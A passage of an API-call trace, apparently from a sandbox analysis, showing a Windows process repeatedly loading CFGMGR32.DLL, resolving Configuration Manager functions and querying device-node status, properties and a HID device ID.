0x7ffb1ceed3b0 [0234.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.850] malloc (_Size=0x18) returned 0x20abc281f20 [0234.850] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x25, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0234.851] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x47c03a98, dwHighDateTime=0x1d9eb0c)) [0234.851] SetEvent (hEvent=0x248) returned 1 [0234.857] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.857] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.861] malloc (_Size=0x18) returned 0x20abc281e60 [0234.862] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x25, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0234.862] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x47c03a98, dwHighDateTime=0x1d9eb0c)) [0234.862] SetEvent (hEvent=0x248) returned 1 [0234.966] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.966] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.971] malloc (_Size=0x18) returned 0x20abc282060 [0234.971] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.972] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47d0eb35, dwHighDateTime=0x1d9eb0c)) [0234.972] SetEvent (hEvent=0x248) returned 1 [0234.979] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.979] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.980] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.981] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.982] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.983] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.983] malloc (_Size=0x18) returned 0x20abc281c60 [0234.983] CM_Get_Device_IDA (in: dnDevInst=0x26, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_0A81&PID_0203\\6&7C90793&0&0000") returned 0x0 [0234.984] malloc (_Size=0x48) returned 0x20abc27cf80 [0234.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x47d34f22, dwHighDateTime=0x1d9eb0c)) [0234.984] SetEvent (hEvent=0x248) returned 1 [0234.990] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.990] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.995] malloc (_Size=0x18) returned 0x20abc281d80 [0234.995] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0234.996] malloc (_Size=0x11e) returned 0x20abc286870 [0234.996] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0234.997] free (_Block=0x20abc286870) [0234.997] malloc (_Size=0x48) returned 0x20abc2ab630 [0234.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x47d5b7ff, dwHighDateTime=0x1d9eb0c)) [0234.997] SetEvent (hEvent=0x248) returned 1 [0235.001] malloc (_Size=0x18) returned 0x20abc281c40 [0235.001] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0235.002] free (_Block=0x20abc281c40) [0235.002] malloc (_Size=0x18) returned 0x20abc281b60 [0235.002] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0235.002] free (_Block=0x20abc281b60) [0235.002] malloc (_Size=0x18) returned 0x20abc281f20 [0235.002] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0235.002] free (_Block=0x20abc281f20) [0235.002] malloc (_Size=0x18) returned 0x20abc281ec0 [0235.002] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0235.003] free (_Block=0x20abc281ec0) [0235.003] malloc (_Size=0x18) returned 0x20abc281b80 [0235.003] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0235.003] free (_Block=0x20abc281b80) [0235.003] malloc (_Size=0x18) returned 0x20abc281f60 [0235.003] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0235.003] free (_Block=0x20abc281f60) [0235.003] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0235.003] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0235.003] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0235.003] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0235.003] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0235.003] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0235.003] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0235.003] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0235.004] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0235.004] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2010, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.004] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2018, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.005] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2020, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.005] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2028, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.005] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2030, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.005] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2038, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.006] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0235.007] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0235.008] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.008] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.011] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.012] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.013] malloc (_Size=0x18) returned 0x20abc281bc0 [0235.013] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0235.013] malloc (_Size=0x4) returned 0x20abc286c00 [0235.013] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286c00, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286c00, pulLength=0x2dc22fd3f8) returned 0x0 [0235.013] free (_Block=0x20abc286c00) [0235.014] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x47d823db, dwHighDateTime=0x1d9eb0c)) [0235.014] SetEvent (hEvent=0x248) returned 1 [0235.215] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.215] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.219] malloc (_Size=0x18) returned 0x20abc2819c0 [0235.220] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.225] malloc (_Size=0x48) returned 0x20abc27cf80 [0235.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47f9732d, dwHighDateTime=0x1d9eb0c)) [0235.226] SetEvent (hEvent=0x248) returned 1 [0235.230] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.230] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 